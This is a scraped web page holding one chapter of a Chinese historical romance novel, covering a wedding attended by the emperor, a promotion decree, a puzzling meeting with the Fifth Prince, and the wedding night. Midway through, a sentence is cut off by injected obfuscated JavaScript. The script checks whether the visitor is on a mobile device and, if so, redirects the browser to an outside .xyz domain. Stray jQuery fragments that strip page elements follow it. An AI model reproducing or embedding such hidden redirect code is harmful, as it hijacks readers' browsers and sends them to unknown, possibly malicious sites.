默认冷灰
24号文字
方正启体

16. 皇子

作者:芙浓本书字数:K更新时间:
    春杏听他这样说,忽然大致明白了他那句“受委屈”是什么意思了。


    这场婚礼,和猴儿似的,是给官家茶余下饭的。


    官家对崔贵妃促成的这桩婚事,颇为满意,甚至要现场观礼。


    这是在邱将军死后,对朝中重臣的安抚,对兰家的荣宠和纵容,亦是打算放过祝将军了。


    春杏点头道:“好。”


    两人跟着随后进来的兰太师夫妇一起,带着家中小辈和随侍们,在正道两侧跪下,一起行大礼。


    先是中官带着两队黄门卫开道,接着进来十几个腰带佩刀的侍卫列队,后面隐约能看得见八人抬的步辇,前前后后都围着一大队随从,步辇后跟着十几个身着常服的官员。


    好在兰家主院为了官家来访,将前厅等处重新建过,十分宽阔,这么多人也不显得拥挤。


    兰太师带着夫人起身去迎接了,春杏小声问:“来了哪些人啊?”


    兰辞道:“官家,崔娘娘,太子,杨参政。还有些皇子和文官。”


    他见春杏好奇,提前打消她的念头:“不会让你看见的,有侍卫司的人,官家和娘娘坐在步辇里。布幔挡着。”


    春杏被看穿了心思,她是想看看官家长什么样的,于是还是悄悄抬头,果然人山人海,辇中人只看见一个影子。


    “上元灯会,能见着,”兰辞道:“届时带你去。”


    春杏心中一动,很轻地“嗯”了一声。


    等人都到齐了,一名中官走上前来道:“好了都免礼,官家说了,不可耽误了新人吉时。”


    兰辞起身,喜娘也扶春杏站起来。


    她去看那中官,发现那人就是她拦住兰辞马车时,从车上下来的那位。衣着区别他人,应当官阶较高。


    兰辞叫他“董都知”。


    而后董都知带头,步辇停在厅堂外,贵人们直接入了厅堂,堂内挂着纱幔,光线较暗,依旧是什么都看不到。果然是要在内观礼的。


    她有些疑惑,那时候不懂,以为他是在兰辞身边伺候的。这么一段时间,她发现兰辞并不喜欢出门带一干随从,常只带着小满一人。


    那么官家身边的高级中官,当日为何会在兰辞身边?


    春杏一边沉思,一边按照喜娘的吩咐,悬丝傀儡似得拜天地高堂。


    礼成之后,照例该入洞房的,但喜娘没有来这一句。


    春杏偷偷看兰辞。


    他闭了闭眼,她好像懂他的意思,大概是知道有什么事,让她先等着。


    不一会儿,董都知又来了,手持着黄绢圣旨,冲兰辞抱拳道:“兰世子,提前恭喜了。”


    兰辞看了春杏一眼,撩开衣摆跪下,春杏也立刻持却扇跪在一旁。


    董都知一点头,便开始宣旨。


    前头自然是夸奖兰辞的一段官样文章,赐了些田帛珍宝,最后给兰辞从鄂州观察使,升了个荆湖制置使,兼侍卫司龙神卫四厢都指挥使的官职。


    兰辞又谢过隆恩后,中官便迎春杏等女眷在厅堂偏房候着,兰辞则跟随兰太师去厅堂中陪同。


    春杏就跟在董都知身后,虽然有却扇挡着,和那日打扮也大有不同,但脸毕竟还是那张脸。


    人多口杂,她不便主动说这件事,只将却扇挪了一些,等着对方认出她。


    但董都知似乎是没认出,神情也像个泥塑木偶,看他们进了偏房,便行礼离开了。


    偏房与游廊与一张屏风隔开。可以看见匆匆而过的兰家下人和随行的宫人。


    春杏隔壁,是郡王妃和她的两个女儿,她小声问喜娘:“姑姑,按礼,我要去打个招呼吗?”


    喜娘制止道:“不必的。留娘子在此,是因为官家在正堂进膳,出来的人不可随意走动,等官家用完了,走了,娘子直接回房等世子就好。见婆母,那是明早的事儿了。”


    这时候外面忽然一阵脚步声,一个男子带着两三个黄门闯进来。


    春杏抬头一看,那人身着砖红大袖圆领,龙胆紫色中单,腰间白玉革带,左肩上以泥金线绣出大片抱栀卷草纹,腰佩金鱼袋。头戴金冠,唇红齿白。


    他一看一屋子女眷,立刻发觉不对:“这里哪里?”


    喜娘将春杏护住,急道:“见过殿下,这是偏殿,女眷休息的地方。”


    那郎君吓得退后好几步:“抱歉……哎,你是今日的新妇?”


    春杏听喜娘叫他殿下,立刻行了礼:“回殿下,是民女。”


    喜娘道:“这是五皇子殿下。殿下,这是兰世子的夫人祝娘子。”


    五皇子赵悯,春杏默默在脑中回忆起胡凌云偶尔提及他的评价。


    胡凌云说,是个蠢笨的坏东西。


    不过是官家唯一成年的儿子,将来或登大宝也未可知。


    赵悯也略一回礼,便退回到屏风外面,他声音很小:“听说祝娘子,是年头才同祝将军认回的?”


    这没什么好隐瞒的,春杏道:“是的。”


    赵悯点头,沉吟片刻道:“你原本是不是有个兄长,名叫胡凌云的?”


    春杏皱眉。


    从她入祝府至今,从没有向任何人透露过胡凌云的名字,包括与胡凌云有一面之缘的姜姨娘。


    她本能地感觉到惶恐。


    “是,”春杏努力镇定道:“兄长如何有幸,叫殿下识得?”


    赵悯笑道:“别多想,秋闱还没放榜,但名单我已经看过了。胡凌云是京场的解元,主考官杨参政看了他的答卷,说三甲之才,也不过如此了。”


    这句话并未回答,他是如何知道胡凌云和春杏是兄妹的。


    但兄长入围的惊喜,让她麻痹了敏锐的感知,五皇子殿下神通广大,想知道一个臣子的家世不难。


    倘若兰辞愿意花心思,他也是很容易就能知道,春杏与他的那段渊源。


    春杏压抑着心底的狂喜,又做了一福:“替兄长谢过殿下抬爱。”


    赵悯且笑且退道:“好了不逗你了,小祝。你告诉胡凌云,让他好好备考,后面还有省试和殿试呢。将来老老实实跟着我,不会比杨参政差的。”


    他走了没一会儿,兰辞便过来了一趟。


    他绕过屏风,看见春杏正探着身子,用筷子去夹一枚雕成小兔子的林檎果。


    一见他来了,春杏赶忙丢下筷子站起来:“兰世子。”


    兰辞皱眉看了她片刻,似乎有些不悦:“赵悯来做什么。”


    春杏端正站好,揣测着兰辞挂脸的缘由。她含糊道:“殿下走错路了。”


    兰辞看了她一眼:“若是受了委屈,要告诉我。”


    这句话和崔贵妃临走前,同她说“祝府小鱼小虾”的那句话很像。都是要给她撑腰的意思。


    赵悯的确奇怪。但一来春杏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688774|172361||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有摸清他的意图,二来她不想让兰辞去得罪皇子。


    她是来报恩的,也是兰辞找来的“伙计”,不是他真的娘子。东家说几句客气话,她可没脸还没点功劳,就开始拖后腿。


    于是春杏摇头:“多谢世子关心,没有委屈,殿下出于好奇,问了几句就走了。”


    兰辞沉默须臾,对小满道:“留几个人在门口。我还要回去,你保护好自己。”


    春杏千恩万谢,目送兰辞离开。


    官家也没待多久,用了晚膳后又饮了一点酒,便回宫了。


    喜娘得了令,带着春杏回房,不多时兰辞也一身酒气地回来。


    两人在喜娘指挥下喝完了合卺酒,总算礼成。雀儿和几个女使,服侍春杏拆了头面,又换了身新婚的单衣,便退去耳房侯着了。


    这新婚的单衣十分古怪,外面是条单薄的绸缎长裙,里面的单裤却是开着的,春杏坐在镜子前梳头,觉得腿间凉嗖嗖的。


    她正忐忑着,兰辞在镜中看她,突然开口:“在府中生存不易,你需要一个孩子吗?”


    春杏低着头,张了张嘴,却很快领会。


    这场婚事模棱两可。


    他在给她选择。


    春杏嘴比脑子快,很迅速地给了答案。


    “不必。”她说。


    兰辞面容沉静,略一点头:“那便歇下吧。”


    春杏紧紧握着梳子,居然觉得松了一口气:“好。”


    女使们换了新的被面枕头,春杏坐在床边,兰辞低眸看她:“一整天没正经用膳,饿吗?”


    春杏饭量很大,每餐能吃两三碗粳米饭,比祝府三个姨娘合起来都多。但教养嬷嬷同她说,望遍临安城,也没有哪家闺秀吃这样多的。原先在祝府分开用膳倒也无妨,进了循王府,还是收敛些好。


    现在既不能出去大快朵颐,也不好新婚之夜就惊动伙房给她加餐。


    故而她虽然肚子饿得咕咕叫,面对兰辞这句客气话,她只能坐得端正:“还好。”


    不过她留了后手,饿不着自己。


    两人这才一左一右地躺下。


    好在这床大,躺在里面,并不会碰手挨脚地尴尬。


    春杏闻到他身上有混合皂角味儿的清凛乌木香,她闭上眼偷偷吸了一大口。


    躺下有一会儿了,春杏听杨娘子说,武官们睡眠都极好的。有的刚挨到枕头就打呼噜了。


    为此,杨娘子特意给她送了一对棉花做的软塞,用来堵耳朵的。


    原本因着兰辞样貌优越,春杏觉得他与寻常武夫不同,这玩意当是用不上的。


    今日被他拉进轿中,被他砂纸似的手心刮了一下,她暗暗觉得自己想多了。


    但是她捏着棉花软塞,等了很久,也没听到呼噜声。


    兰辞的呼吸声很均匀,因为头一回睡一起,她不知道他是不是睡着了。


    又等了一会儿,兰辞的呼吸声还是没有什么变化。


    但是春杏已经饿得反酸水了。


    她试着动了动,见对方没有反应。便大着胆子起身,蹑手蹑脚跳下床。


    下了床,她没有穿绣鞋,而是赤足踩在地上的织锦短绒毯上,没有一点点声音地,往靠窗的胡桃木斗柜挪过去。


    两人入洞房之前,春杏便提前叫雀儿,在斗柜上的瓜瓞绵绵摆件后面,藏好两枚油纸包着的荷花酥。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)